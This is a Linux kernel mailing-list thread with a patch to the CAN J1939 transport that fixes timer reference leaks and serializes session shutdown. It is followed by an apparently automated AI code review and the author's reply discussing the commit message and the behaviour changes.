@@ -716,18 +868,68 @@ static int j1939_xtp_tx_abort(struct j1939_priv *priv,
void j1939_tp_schedule_txtimer(struct j1939_session *session, int msec)
{
- j1939_session_get(session);
+ j1939_session_list_lock(session->priv);
+ if (session->state != J1939_SESSION_ACTIVE) {
+ j1939_session_list_unlock(session->priv);
+ return;
+ }
+
+ spin_lock(&session->txtimer_lock);
+ if (session->txtimer_cancelers || session->txtimer_shutdown) {
+ spin_unlock(&session->txtimer_lock);
+ j1939_session_list_unlock(session->priv);
+ return;
+ }
+
+ /* One pin covers an armed timer and any callback/successor overlap. */
+ if (!session->txtimer_ref) {
+ j1939_session_get(session);
+ session->txtimer_ref = true;
+ }
+
hrtimer_start(&session->txtimer, ms_to_ktime(msec),
HRTIMER_MODE_REL_SOFT);
+ spin_unlock(&session->txtimer_lock);
+ j1939_session_list_unlock(session->priv);
}
-static inline void j1939_tp_set_rxtimeout(struct j1939_session *session,
- int msec)
+/* active_session_list_lock protects the session state checked by callers. */
+static bool
+__j1939_tp_set_rxtimeout(struct j1939_session *session, int msec,
+ bool abort_timeout)
{
- j1939_session_rxtimer_cancel(session);
- j1939_session_get(session);
+ lockdep_assert_held(&session->priv->active_session_list_lock);
+
+ spin_lock(&session->rxtimer_lock);
+ if (session->rxtimer_shutdown || session->rxtimer_cancelers ||
+ (session->state != J1939_SESSION_ACTIVE &&
+ (!abort_timeout ||
+ session->state != J1939_SESSION_WAITING_ABORT))) {
+ spin_unlock(&session->rxtimer_lock);
+ return false;
+ }
+
+ /* Reuse the pin when replacing a queued timer or rearming a callback. */
+ if (!session->rxtimer_ref) {
+ j1939_session_get(session);
+ session->rxtimer_ref = true;
+ }
hrtimer_start(&session->rxtimer, ms_to_ktime(msec),
HRTIMER_MODE_REL_SOFT);
+ spin_unlock(&session->rxtimer_lock);
+ return true;
+}
+
+static inline bool j1939_tp_set_rxtimeout(struct j1939_session *session,
+ int msec)
+{
+ bool armed;
+
+ j1939_session_list_lock(session->priv);
+ armed = __j1939_tp_set_rxtimeout(session, msec, false);
+ j1939_session_list_unlock(session->priv);
+
+ return armed;
}
static int j1939_session_tx_rts(struct j1939_session *session)
@@ -1055,7 +1257,6 @@ static int j1939_xtp_txnext_receiver(struct j1939_session *session)
static int j1939_simple_txnext(struct j1939_session *session)
{
- struct j1939_priv *priv = session->priv;
struct sk_buff *se_skb = j1939_session_skb_get(session);
struct sk_buff *skb;
int ret;
@@ -1082,12 +1283,12 @@ static int j1939_simple_txnext(struct j1939_session *session)
can_skb_set_owner(skb, se_skb->sk);
- j1939_tp_set_rxtimeout(session, J1939_SIMPLE_ECHO_TIMEOUT_MS);
-
- ret = j1939_send_one(priv, skb);
+ ret = j1939_send_one(session->priv, skb);
if (ret)
goto out_free;
+ j1939_tp_set_rxtimeout(session, J1939_SIMPLE_ECHO_TIMEOUT_MS);
+
j1939_sk_errqueue(session, J1939_ERRQUEUE_TX_SCHED);
j1939_sk_queue_activate_next(session);
@@ -1105,6 +1306,12 @@ static bool j1939_session_deactivate_locked(struct j1939_session *session)
bool active = false;
lockdep_assert_held(&session->priv->active_session_list_lock);
+ spin_lock(&session->txtimer_lock);
+ session->txtimer_shutdown = true;
+ spin_unlock(&session->txtimer_lock);
+ spin_lock(&session->rxtimer_lock);
+ session->rxtimer_shutdown = true;
+ spin_unlock(&session->rxtimer_lock);
if (session->state >= J1939_SESSION_ACTIVE &&
session->state < J1939_SESSION_ACTIVE_MAX) {
@@ -1126,6 +1333,10 @@ static bool j1939_session_deactivate(struct j1939_session *session)
j1939_session_list_lock(priv);
active = j1939_session_deactivate_locked(session);
j1939_session_list_unlock(priv);
+ if (active) {
+ j1939_session_txtimer_cancel_async(session);
+ j1939_session_rxtimer_cancel_async(session);
+ }
return active;
}
@@ -1137,7 +1348,27 @@ j1939_session_deactivate_activate_next(struct j1939_session *session)
j1939_sk_queue_activate_next(session);
}
-static void __j1939_session_cancel(struct j1939_session *session,
+static bool j1939_session_fail(struct j1939_session *session, int err)
+{
+ bool deactivate = false;
+
+ j1939_session_list_lock(session->priv);
+ if (session->state == J1939_SESSION_ACTIVE) {
+ session->err = err;
+ deactivate = j1939_session_deactivate_locked(session);
+ }
+ j1939_session_list_unlock(session->priv);
+
+ if (deactivate) {
+ j1939_session_txtimer_cancel_async(session);
+ j1939_session_rxtimer_cancel_async(session);
+ j1939_sk_queue_activate_next(session);
+ }
+
+ return deactivate;
+}
+
+static bool __j1939_session_cancel(struct j1939_session *session,
enum j1939_xtp_abort err)
{
struct j1939_priv *priv = session->priv;
@@ -1153,26 +1384,47 @@ static void __j1939_session_cancel(struct j1939_session *session,
!session->transmission,
err, session->skcb.addr.pgn);
}
-
if (session->sk)
j1939_sk_send_loop_abort(session->sk, session->err);
+
+ return true;
}
-static void j1939_session_cancel(struct j1939_session *session,
+static bool j1939_session_cancel(struct j1939_session *session,
enum j1939_xtp_abort err)
{
+ bool cancelled = false, deactivate = false;
+
j1939_session_list_lock(session->priv);
if (session->state >= J1939_SESSION_ACTIVE &&
session->state < J1939_SESSION_WAITING_ABORT) {
- j1939_tp_set_rxtimeout(session, J1939_XTP_ABORT_TIMEOUT_MS);
- __j1939_session_cancel(session, err);
+ cancelled = __j1939_session_cancel(session, err);
+ if (cancelled) {
+ spin_lock(&session->txtimer_lock);
+ session->txtimer_shutdown = true;
+ spin_unlock(&session->txtimer_lock);
+ if (!__j1939_tp_set_rxtimeout(session,
+ J1939_XTP_ABORT_TIMEOUT_MS,
+ true))
+ deactivate =
+ j1939_session_deactivate_locked(session);
+ }
}
j1939_session_list_unlock(session->priv);
+ if (cancelled) {
+ j1939_session_txtimer_cancel_async(session);
+ if (deactivate) {
+ j1939_session_rxtimer_cancel_async(session);
+ j1939_sk_queue_activate_next(session);
+ }
+ }
- if (!session->sk)
+ if (cancelled && !session->sk)
j1939_sk_errqueue(session, J1939_ERRQUEUE_RX_ABORT);
+
+ return cancelled;
}
static enum hrtimer_restart j1939_tp_txtimer(struct hrtimer *hrtimer)
@@ -1180,8 +1432,21 @@ static enum hrtimer_restart j1939_tp_txtimer(struct hrtimer *hrtimer)
struct j1939_session *session =
container_of(hrtimer, struct j1939_session, txtimer);
struct j1939_priv *priv = session->priv;
+ bool can_rearm, shutdown, queued;
+ bool put_ref = false;
int ret = 0;
+ spin_lock_bh(&session->txtimer_lock);
+ WARN_ON_ONCE(!session->txtimer_ref);
+ shutdown = session->txtimer_shutdown;
+ spin_unlock_bh(&session->txtimer_lock);
+
+ j1939_session_list_lock(priv);
+ can_rearm = session->state == J1939_SESSION_ACTIVE;
+ j1939_session_list_unlock(priv);
+ if (shutdown || !can_rearm)
+ goto txtimer_done;
+
if (session->skcb.addr.type == J1939_SIMPLE) {
ret = j1939_simple_txnext(session);
} else {
@@ -1198,12 +1463,9 @@ static enum hrtimer_restart j1939_tp_txtimer(struct hrtimer *hrtimer)
session->tx_retry++;
j1939_tp_schedule_txtimer(session,
10 + get_random_u32_below(16));
- } else {
+ } else if (j1939_session_fail(session, -ENETUNREACH)) {
netdev_alert(priv->ndev, "%s: 0x%p: tx retry count reached\n",
__func__, session);
- session->err = -ENETUNREACH;
- j1939_session_rxtimer_cancel(session);
- j1939_session_deactivate_activate_next(session);
}
break;
case -ENETDOWN:
@@ -1221,25 +1483,60 @@ static enum hrtimer_restart j1939_tp_txtimer(struct hrtimer *hrtimer)
session->tx_retry = 0;
break;
default:
- netdev_alert(priv->ndev, "%s: 0x%p: tx aborted with unknown reason: %i\n",
- __func__, session, ret);
if (session->skcb.addr.type != J1939_SIMPLE) {
- j1939_session_cancel(session, J1939_XTP_ABORT_OTHER);
- } else {
- session->err = ret;
- j1939_session_rxtimer_cancel(session);
- j1939_session_deactivate_activate_next(session);
+ if (j1939_session_cancel(session, J1939_XTP_ABORT_OTHER))
+ netdev_alert(priv->ndev, "%s: 0x%p: tx aborted with unknown reason: %i\n",
+ __func__, session, ret);
+ } else if (j1939_session_fail(session, ret)) {
+ netdev_alert(priv->ndev, "%s: 0x%p: tx aborted with unknown reason: %i\n",
+ __func__, session, ret);
}
}
- j1939_session_put(session);
+txtimer_done:
+ j1939_session_list_lock(priv);
+ can_rearm = session->state == J1939_SESSION_ACTIVE;
+ j1939_session_list_unlock(priv);
+ spin_lock_bh(&session->txtimer_lock);
+ queued = hrtimer_is_queued(&session->txtimer);
+ if (queued && (session->txtimer_shutdown || !can_rearm) &&
+ !session->txtimer_cancelers)
+ hrtimer_start(&session->txtimer, 0, HRTIMER_MODE_REL_SOFT);
+ if (!queued && session->txtimer_ref) {
+ session->txtimer_ref = false;
+ put_ref = true;
+ }
+ spin_unlock_bh(&session->txtimer_lock);
+
+ if (put_ref)
+ j1939_session_put(session);
return HRTIMER_NORESTART;
}
+static bool
+j1939_session_complete_locked(struct j1939_session *session)
+{
+ lockdep_assert_held(&session->priv->active_session_list_lock);
+ if (session->state != J1939_SESSION_ACTIVE)
+ return false;
+
+ j1939_session_shutdown_intent_locked(session);
+ return j1939_session_deactivate_locked(session);
+}
+
static void j1939_session_completed(struct j1939_session *session)
{
struct sk_buff *se_skb;
+ bool completed;
+
+ j1939_session_list_lock(session->priv);
+ completed = j1939_session_complete_locked(session);
+ j1939_session_list_unlock(session->priv);
+ if (!completed)
+ return;
+
+ j1939_session_timers_drain(session);
if (!session->transmission) {
se_skb = j1939_session_skb_get(session);
@@ -1248,7 +1545,7 @@ static void j1939_session_completed(struct j1939_session *session)
consume_skb(se_skb);
}
- j1939_session_deactivate_activate_next(session);
+ j1939_sk_queue_activate_next(session);
}
static enum hrtimer_restart j1939_tp_rxtimer(struct hrtimer *hrtimer)
@@ -1257,41 +1554,63 @@ static enum hrtimer_restart j1939_tp_rxtimer(struct hrtimer *hrtimer)
struct j1939_session,
rxtimer);
struct j1939_priv *priv = session->priv;
+ bool cancelled = false, deactivate = false, put_ref = false, queued;
+ bool stale;
+ enum j1939_session_state state;
- if (session->state == J1939_SESSION_WAITING_ABORT) {
- netdev_alert(priv->ndev, "%s: 0x%p: abort rx timeout. Force session deactivation\n",
- __func__, session);
-
- j1939_session_deactivate_activate_next(session);
-
- } else if (session->skcb.addr.type == J1939_SIMPLE) {
- netdev_alert(priv->ndev, "%s: 0x%p: Timeout. Failed to send simple message.\n",
- __func__, session);
-
- /* The message is probably stuck in the CAN controller and can
- * be send as soon as CAN bus is in working state again.
- */
+ /* Serialize expiry handling with timeout replacement and state changes. */
+ j1939_session_list_lock(priv);
+ spin_lock(&session->rxtimer_lock);
+ /* A queued successor supersedes this already-running expiry. */
+ stale = session->rxtimer_shutdown || session->rxtimer_cancelers ||
+ hrtimer_is_queued(hrtimer);
+ spin_unlock(&session->rxtimer_lock);
+ state = session->state;
+ if (!stale && state == J1939_SESSION_WAITING_ABORT) {
+ deactivate = j1939_session_deactivate_locked(session);
+ } else if (!stale && state == J1939_SESSION_ACTIVE &&
+ session->skcb.addr.type == J1939_SIMPLE) {
session->err = -ETIME;
- j1939_session_deactivate(session);
- } else {
- j1939_session_list_lock(session->priv);
- if (session->state >= J1939_SESSION_ACTIVE &&
- session->state < J1939_SESSION_ACTIVE_MAX) {
- netdev_alert(priv->ndev, "%s: 0x%p: rx timeout, send abort\n",
- __func__, session);
- j1939_session_get(session);
- hrtimer_start(&session->rxtimer,
- ms_to_ktime(J1939_XTP_ABORT_TIMEOUT_MS),
- HRTIMER_MODE_REL_SOFT);
- __j1939_session_cancel(session, J1939_XTP_ABORT_TIMEOUT);
- }
- j1939_session_list_unlock(session->priv);
+ deactivate = j1939_session_deactivate_locked(session);
+ } else if (!stale && state == J1939_SESSION_ACTIVE) {
+ cancelled = __j1939_session_cancel(session, J1939_XTP_ABORT_TIMEOUT);
+ if (cancelled)
+ __j1939_tp_set_rxtimeout(session,
+ J1939_XTP_ABORT_TIMEOUT_MS, true);
+ }
+ j1939_session_list_unlock(priv);
+ if (deactivate) {
+ if (state == J1939_SESSION_WAITING_ABORT)
+ netdev_alert(priv->ndev, "%s: 0x%p: abort rx timeout. Force session deactivation\n",
+ __func__, session);
+ else
+ netdev_alert(priv->ndev, "%s: 0x%p: Timeout. Failed to send simple message.\n",
+ __func__, session);
+ j1939_session_txtimer_cancel_async(session);
+ j1939_session_rxtimer_cancel_async(session);
+ j1939_sk_queue_activate_next(session);
+ }
+ if (cancelled) {
+ netdev_alert(priv->ndev, "%s: 0x%p: rx timeout, send abort\n",
+ __func__, session);
+ j1939_session_txtimer_cancel_async(session);
if (!session->sk)
j1939_sk_errqueue(session, J1939_ERRQUEUE_RX_ABORT);
}
- j1939_session_put(session);
+ spin_lock_bh(&session->rxtimer_lock);
+ queued = hrtimer_is_queued(&session->rxtimer);
+ if (queued && session->rxtimer_shutdown &&
+ !session->rxtimer_cancelers)
+ hrtimer_start(&session->rxtimer, 0, HRTIMER_MODE_REL_SOFT);
+ if (!queued && session->rxtimer_ref) {
+ session->rxtimer_ref = false;
+ put_ref = true;
+ }
+ spin_unlock_bh(&session->rxtimer_lock);
+ if (put_ref)
+ j1939_session_put(session);
return HRTIMER_NORESTART;
}
@@ -1357,6 +1676,7 @@ static void j1939_xtp_rx_abort_one(struct j1939_priv *priv, struct sk_buff *skb,
{
struct j1939_sk_buff_cb *skcb = j1939_skb_to_cb(skb);
struct j1939_session *session;
+ bool deactivate = false, report = false, rxtimer_shutdown;
u8 abort = skb->data[1];
session = j1939_session_get_by_addr(priv, &skcb->addr, reverse,
@@ -1371,13 +1691,35 @@ static void j1939_xtp_rx_abort_one(struct j1939_priv *priv, struct sk_buff *skb,
session, j1939_xtp_ctl_to_pgn(skb->data), abort,
j1939_xtp_abort_to_str(abort));
+ /* Report the peer abort here only if it wins the state transition. */
+ j1939_session_list_lock(priv);
+ spin_lock(&session->rxtimer_lock);
+ rxtimer_shutdown = session->rxtimer_shutdown;
+ spin_unlock(&session->rxtimer_lock);
+ if (!rxtimer_shutdown && session->state == J1939_SESSION_ACTIVE) {
+ session->err = j1939_xtp_abort_to_errno(priv, abort);
+ deactivate = j1939_session_deactivate_locked(session);
+ report = deactivate;
+ } else if (!rxtimer_shutdown &&
+ session->state == J1939_SESSION_WAITING_ABORT) {
+ /* Preserve the local abort error instead of replacing it with the peer
+ * response. The stored error may still be reported when the session
+ * is destroyed.
+ */
+ deactivate = j1939_session_deactivate_locked(session);
+ }
+ j1939_session_list_unlock(priv);
+ if (!deactivate)
+ goto abort_put;
+
j1939_session_timers_cancel(session);
- session->err = j1939_xtp_abort_to_errno(priv, abort);
- if (session->sk)
- j1939_sk_send_loop_abort(session->sk, session->err);
- else
- j1939_sk_errqueue(session, J1939_ERRQUEUE_RX_ABORT);
- j1939_session_deactivate_activate_next(session);
+ if (report) {
+ if (session->sk)
+ j1939_sk_send_loop_abort(session->sk, session->err);
+ else
+ j1939_sk_errqueue(session, J1939_ERRQUEUE_RX_ABORT);
+ }
+ j1939_sk_queue_activate_next(session);
abort_put:
j1939_session_put(session);
@@ -1419,7 +1761,6 @@ j1939_xtp_rx_eoma_one(struct j1939_session *session, struct sk_buff *skb)
netdev_dbg(session->priv->ndev, "%s: 0x%p\n", __func__, session);
session->pkt.tx_acked = session->pkt.total;
- j1939_session_timers_cancel(session);
/* transmitted without problems */
j1939_session_completed(session);
}
@@ -1486,7 +1827,7 @@ j1939_xtp_rx_cts_one(struct j1939_session *session, struct sk_buff *skb)
if (session->pkt.tx_acked)
j1939_sk_errqueue(session,
J1939_ERRQUEUE_TX_SCHED);
- j1939_session_txtimer_cancel(session);
+ j1939_session_txtimer_cancel(session, false);
j1939_tp_schedule_txtimer(session, 0);
}
} else {
@@ -1496,7 +1837,6 @@ j1939_xtp_rx_cts_one(struct j1939_session *session, struct sk_buff *skb)
return;
out_session_cancel:
- j1939_session_timers_cancel(session);
j1939_session_cancel(session, err);
}
@@ -1540,6 +1880,8 @@ static struct j1939_session *j1939_session_new(struct j1939_priv *priv,
skcb = j1939_skb_to_cb(skb);
memcpy(&session->skcb, skcb, sizeof(session->skcb));
+ spin_lock_init(&session->txtimer_lock);
+ spin_lock_init(&session->rxtimer_lock);
hrtimer_setup(&session->txtimer, j1939_tp_txtimer, CLOCK_MONOTONIC, HRTIMER_MODE_REL_SOFT);
hrtimer_setup(&session->rxtimer, j1939_tp_rxtimer, CLOCK_MONOTONIC, HRTIMER_MODE_REL_SOFT);
@@ -1717,7 +2059,6 @@ static int j1939_xtp_rx_rts_session_active(struct j1939_session *session,
return -EBUSY;
/* RTS on active session */
- j1939_session_timers_cancel(session);
j1939_session_cancel(session, J1939_XTP_ABORT_BUSY);
}
@@ -1727,16 +2068,11 @@ static int j1939_xtp_rx_rts_session_active(struct j1939_session *session,
__func__, session, skcb->addr.sa, skcb->addr.da,
session->last_cmd);
- j1939_session_timers_cancel(session);
j1939_session_cancel(session, J1939_XTP_ABORT_BUSY);
if (session->transmission) {
j1939_session_deactivate_activate_next(session);
} else if (session->state == J1939_SESSION_WAITING_ABORT) {
- /* Force deactivation for the receiver.
- * If we rely on the timer starting in j1939_session_cancel,
- * a second RTS call here will cancel that timer and fail
- * to restart it because the state is already WAITING_ABORT.
- */
+ /* The receiver cannot keep waiting after a duplicate RTS. */
j1939_session_deactivate_activate_next(session);
}
@@ -1810,7 +2146,7 @@ static void j1939_xtp_rx_rts(struct j1939_priv *priv, struct sk_buff *skb,
j1939_tp_set_rxtimeout(session, 750);
} else {
if (!session->transmission) {
- j1939_session_txtimer_cancel(session);
+ j1939_session_txtimer_cancel(session, false);
j1939_tp_schedule_txtimer(session, 0);
}
j1939_tp_set_rxtimeout(session, 1250);
@@ -1956,7 +2292,6 @@ static void j1939_xtp_rx_dat_one(struct j1939_session *session,
}
if (final) {
- j1939_session_timers_cancel(session);
j1939_session_completed(session);
} else if (remain) {
if (!session->transmission)
@@ -1976,7 +2311,6 @@ static void j1939_xtp_rx_dat_one(struct j1939_session *session,
out_session_cancel:
kfree_skb(se_skb);
- j1939_session_timers_cancel(session);
j1939_session_cancel(session, abort);
j1939_session_put(session);
}
@@ -2219,6 +2553,8 @@ void j1939_simple_recv(struct j1939_priv *priv, struct sk_buff *skb)
j1939_session_list_lock(priv);
session = j1939_session_get_simple(priv, skb);
+ if (session)
+ j1939_session_shutdown_intent_locked(session);
j1939_session_list_unlock(priv);
if (!session) {
netdev_warn(priv->ndev,
@@ -2227,7 +2563,7 @@ void j1939_simple_recv(struct j1939_priv *priv, struct sk_buff *skb)
return;
}
- j1939_session_timers_cancel(session);
+ j1939_session_timers_drain(session);
j1939_session_deactivate(session);
j1939_session_put(session);
}
@@ -2242,9 +2578,17 @@ int j1939_cancel_active_session(struct j1939_priv *priv, struct sock *sk)
&priv->active_session_list,
active_session_list_entry) {
if (!sk || sk == session->sk) {
- if (hrtimer_try_to_cancel(&session->txtimer) == 1)
+ bool put_ref;
+
+ spin_lock(&session->txtimer_lock);
+ put_ref = j1939_session_txtimer_cancel_async_locked(session);
+ spin_unlock(&session->txtimer_lock);
+ if (put_ref)
j1939_session_put(session);
- if (hrtimer_try_to_cancel(&session->rxtimer) == 1)
+ spin_lock(&session->rxtimer_lock);
+ put_ref = j1939_session_rxtimer_cancel_async_locked(session);
+ spin_unlock(&session->rxtimer_lock);
+ if (put_ref)
j1939_session_put(session);
session->err = ESHUTDOWN;
--
2.43.0
^ permalink raw reply related [flat|nested] 7+ messages in thread* Re: [PATCH net v8 1/2] can: j1939: account for timer references across rearm
2026-11-09 13:16 ` [PATCH net v8 1/2] can: j1939: account for timer references across rearm Zihan Xi
@ 2026-11-11 3:48 ` netdev-bot+sashiko
2026-11-11 4:21 ` zihan xi
2026-11-11 5:53 ` Oleksij Rempel
1 sibling, 1 reply; 7+ messages in thread
From: netdev-bot+sashiko @ 2026-11-11 3:48 UTC (permalink / raw)
To: zihanx
Cc: linux-can, robin, o.rempel, kernel, socketcan, mkl, bst, lkp,
maxime.jayat, ecathinds, vega, kuba
Thank you for your contribution! Sashiko AI review found 3 potential
issue(s) to consider.
Critical: 0 · High: 0 · Medium: 1 · Low: 2
If you believe none of the issues are legitimate, please reply to each
issue of Medium severity or higher and explain why the AI is wrong.
If any of them are legitimate and you plan to respin, please let patchwork
know by including "pw-bot: cr" as a separate line at the end of your reply
(one such reply per series is enough).
- [Medium] The commit message ("account for timer references across
rearm") understates what this stable-tagged patch does.
- [Low] The commit message names neither the leak trigger nor its impact.
- [Low] In j1939_simple_txnext(), the J1939_SIMPLE echo timeout is now
armed only after a successful send (j1939_send_one at line 1286, then…
--
can: j1939: account for timer references across rearm
This patch makes each j1939 session timer hold one session reference for
its whole queued and running lifetime, instead of taking one on every
hrtimer_start(). It adds per-timer locks, shutdown flags and canceler
counts so that rearming and cancellation are synchronized with terminal
state changes, and it arms the simple-TX echo timeout only after a
successful send.
Link: https://bugtracker.nebusec.ai/f/11143
> Rearming a session timer updates the existing hrtimer rather than
> creating another callback. Taking a session reference for every start
> can therefore leave references behind when the timer is rearmed.
[Severity: Low]
Could the commit message name the trigger and the impact here?
Before this patch, the receiver do_cts_eoma branch of
j1939_xtp_rx_dat_one() calls j1939_tp_schedule_txtimer() without
cancelling first:
} else if (do_cts_eoma) {
j1939_tp_set_rxtimeout(session, 1250);
if (!session->transmission)
j1939_tp_schedule_txtimer(session, 0);
The old j1939_tp_schedule_txtimer() called j1939_session_get() and then
hrtimer_start(). Several TP.DT frames that satisfy pkt.rx >= pkt.last can
be processed before the txtimer softirq runs, for example duplicates of
the last packet in one NET_RX batch. Each of those calls takes a
reference, but the single callback drops only one.
The session is then never freed, so j1939_session_destroy() never reaches
netdev_put() and j1939_priv_put(). The session memory leaks and the CAN
net_device stays pinned, which can hang unregister_netdevice(). A remote
CAN node can trigger this.
> Track one session reference across each timer's queued and running
> lifetime. Apply the same accounting to the RX timer and synchronize
> rearming and cancellation with terminal state changes. Arm the simple-TX
> echo timeout only after a successful send, and keep terminal session
> transitions from leaving stale timer references or changing the result.
[Severity: Medium]
Is this description complete for a patch tagged Cc: stable? Besides the
timer reference accounting, several changes in net/can/j1939/transport.c
are visible to userspace. "changing the result" only hints at them.
j1939_xtp_rx_abort_one(): a peer abort that arrives in
J1939_SESSION_WAITING_ABORT no longer overwrites session->err. It also no
longer calls j1939_sk_send_loop_abort() or queues J1939_ERRQUEUE_RX_ABORT:
} else if (!rxtimer_shutdown &&
session->state == J1939_SESSION_WAITING_ABORT) {
...
deactivate = j1939_session_deactivate_locked(session);
Peer aborts are also ignored completely once rxtimer_shutdown is set.
j1939_session_completed(): this now returns early unless the state is
J1939_SESSION_ACTIVE. An EOMA, or the final BAM TP.DT, that arrives after
a local abort no longer completes the session. The reassembled data is
not delivered through j1939_sk_recv() either:
if (!completed)
return;
j1939_session_cancel(): J1939_ERRQUEUE_RX_ABORT is now queued only when
the call wins the transition. Before, it was queued on every call:
if (cancelled && !session->sk)
j1939_sk_errqueue(session, J1939_ERRQUEUE_RX_ABORT);
j1939_tp_schedule_txtimer() and j1939_tp_set_rxtimeout() now silently
refuse to arm for non-active sessions, or while a cancel is pending.
j1939_tp_rxtimer(): the simple message echo timeout path now calls
j1939_sk_queue_activate_next(). The old code only called
j1939_session_deactivate().
Several netdev_alert() messages are now printed only when the caller wins
the state transition.
The follow-up commit "can: j1939: serialize TX with session shutdown"
does not describe these changes either.
Could these changes be spelled out in the commit message, or split into
separate patches? That would let stable backporters see which
userspace-visible changes are part of the fix.
> diff --git a/net/can/j1939/transport.c b/net/can/j1939/transport.c
> index 8fcfd13e5e6f8..c327fd9618a0c 100644
> --- a/net/can/j1939/transport.c
> +++ b/net/can/j1939/transport.c
[ ... ]
> @@ -1082,12 +1283,12 @@ static int j1939_simple_txnext(struct j1939_session *session)
>
> can_skb_set_owner(skb, se_skb->sk);
>
> - j1939_tp_set_rxtimeout(session, J1939_SIMPLE_ECHO_TIMEOUT_MS);
> -
> - ret = j1939_send_one(priv, skb);
> + ret = j1939_send_one(session->priv, skb);
> if (ret)
> goto out_free;
>
> + j1939_tp_set_rxtimeout(session, J1939_SIMPLE_ECHO_TIMEOUT_MS);
> +
[Severity: Low]
Can this leave a J1939_SIMPLE session in J1939_SESSION_ACTIVE with no
timer armed?
If j1939_send_one() fails with -ENETDOWN, the code jumps to out_free and
the echo timeout is never armed. j1939_tp_txtimer() then does nothing for
that error, because it expects a later netdev event to clean up:
case -ENETDOWN:
/* In this case we should get a netdev_event(), all active
* sessions will be cleared by j1939_cancel_active_session().
That expectation does not hold if the interface was already down before
the session was created. On the path
j1939_sk_sendmsg()->j1939_sk_send_loop()->j1939_tp_send(), no function
checks IFF_UP. j1939_session_activate() checks only the registration
state:
} else if (priv->ndev->reg_state != NETREG_REGISTERED) {
ret = -ENODEV;
j1939_sk_netdev_event_netdown() leaves ENETDOWN in sk_err. The first
sendmsg consumes it through sock_error() in sock_alloc_send_skb(). A
second sendmsg then activates a simple session, and can_send() returns
-ENETDOWN.
Before this patch, the pre-armed echo timeout fired after
J1939_SIMPLE_ECHO_TIMEOUT_MS, set session->err = -ETIME, and deactivated
the session. Now the session stays on priv->active_session_list until
socket close, NETDEV_UNREGISTER or another down event.
The old rxtimer path also left the session at the head of the socket's
sk_session_queue, because it did not call
j1939_sk_queue_activate_next(). So the socket queue stall is not new.
The follow-up commit "can: j1939: serialize TX with session shutdown"
keeps this ordering.
Would it make sense to also arm the echo timeout, or deactivate the
session, when the send fails with -ENETDOWN?
--
Sashiko AI review · https://netdev-ai.bots.linux.dev/sashiko/#/patchset/20261109131624.276943-1-zihanx%40nebusec.ai
^ permalink raw reply [flat|nested] 7+ messages in thread* Re: [PATCH net v8 1/2] can: j1939: account for timer references across rearm
2026-11-11 3:48 ` netdev-bot+sashiko
@ 2026-11-11 4:21 ` zihan xi
0 siblings, 0 replies; 7+ messages in thread
From: zihan xi @ 2026-11-11 4:21 UTC (permalink / raw)
To: netdev-bot+sashiko
Cc: linux-can, robin, o.rempel, kernel, socketcan, mkl, bst, lkp,
maxime.jayat, ecathinds, vega, kuba
On Wed, Nov 11, 2026 at 11:48 AM <netdev-bot+sashiko@kernel.org> wrote:
>
> Thank you for your contribution! Sashiko AI review found 3 potential
> issue(s) to consider.
>
> Critical: 0 · High: 0 · Medium: 1 · Low: 2
>
> If you believe none of the issues are legitimate, please reply to each
> issue of Medium severity or higher and explain why the AI is wrong.
> If any of them are legitimate and you plan to respin, please let patchwork
> know by including "pw-bot: cr" as a separate line at the end of your reply
> (one such reply per series is enough).
>
> - [Medium] The commit message ("account for timer references across
> rearm") understates what this stable-tagged patch does.
> - [Low] The commit message names neither the leak trigger nor its impact.
> - [Low] In j1939_simple_txnext(), the J1939_SIMPLE echo timeout is now
> armed only after a successful send (j1939_send_one at line 1286, then…
>
> --
>
> can: j1939: account for timer references across rearm
>
> This patch makes each j1939 session timer hold one session reference for
> its whole queued and running lifetime, instead of taking one on every
> hrtimer_start(). It adds per-timer locks, shutdown flags and canceler
> counts so that rearming and cancellation are synchronized with terminal
> state changes, and it arms the simple-TX echo timeout only after a
> successful send.
>
> Link: https://bugtracker.nebusec.ai/f/11143
>
> > Rearming a session timer updates the existing hrtimer rather than
> > creating another callback. Taking a session reference for every start
> > can therefore leave references behind when the timer is rearmed.
>
> [Severity: Low]
> Could the commit message name the trigger and the impact here?
>
> Before this patch, the receiver do_cts_eoma branch of
> j1939_xtp_rx_dat_one() calls j1939_tp_schedule_txtimer() without
> cancelling first:
>
> } else if (do_cts_eoma) {
> j1939_tp_set_rxtimeout(session, 1250);
> if (!session->transmission)
> j1939_tp_schedule_txtimer(session, 0);
>
> The old j1939_tp_schedule_txtimer() called j1939_session_get() and then
> hrtimer_start(). Several TP.DT frames that satisfy pkt.rx >= pkt.last can
> be processed before the txtimer softirq runs, for example duplicates of
> the last packet in one NET_RX batch. Each of those calls takes a
> reference, but the single callback drops only one.
>
> The session is then never freed, so j1939_session_destroy() never reaches
> netdev_put() and j1939_priv_put(). The session memory leaks and the CAN
> net_device stays pinned, which can hang unregister_netdevice(). A remote
> CAN node can trigger this.
Agreed. I will add a concise description of the receive-side DAT rearm
trigger and its impact: repeated timer starts can take references that are
not subsequently released, retaining sessions and potentially blocking
device unregistration. The detailed packet sequence and PoC evidence will
remain in the cover letter.
>
> > Track one session reference across each timer's queued and running
> > lifetime. Apply the same accounting to the RX timer and synchronize
> > rearming and cancellation with terminal state changes. Arm the simple-TX
> > echo timeout only after a successful send, and keep terminal session
> > transitions from leaving stale timer references or changing the result.
>
> [Severity: Medium]
> Is this description complete for a patch tagged Cc: stable? Besides the
> timer reference accounting, several changes in net/can/j1939/transport.c
> are visible to userspace. "changing the result" only hints at them.
>
> j1939_xtp_rx_abort_one(): a peer abort that arrives in
> J1939_SESSION_WAITING_ABORT no longer overwrites session->err. It also no
> longer calls j1939_sk_send_loop_abort() or queues J1939_ERRQUEUE_RX_ABORT:
>
> } else if (!rxtimer_shutdown &&
> session->state == J1939_SESSION_WAITING_ABORT) {
> ...
> deactivate = j1939_session_deactivate_locked(session);
>
> Peer aborts are also ignored completely once rxtimer_shutdown is set.
>
> j1939_session_completed(): this now returns early unless the state is
> J1939_SESSION_ACTIVE. An EOMA, or the final BAM TP.DT, that arrives after
> a local abort no longer completes the session. The reassembled data is
> not delivered through j1939_sk_recv() either:
>
> if (!completed)
> return;
>
> j1939_session_cancel(): J1939_ERRQUEUE_RX_ABORT is now queued only when
> the call wins the transition. Before, it was queued on every call:
>
> if (cancelled && !session->sk)
> j1939_sk_errqueue(session, J1939_ERRQUEUE_RX_ABORT);
>
> j1939_tp_schedule_txtimer() and j1939_tp_set_rxtimeout() now silently
> refuse to arm for non-active sessions, or while a cancel is pending.
>
> j1939_tp_rxtimer(): the simple message echo timeout path now calls
> j1939_sk_queue_activate_next(). The old code only called
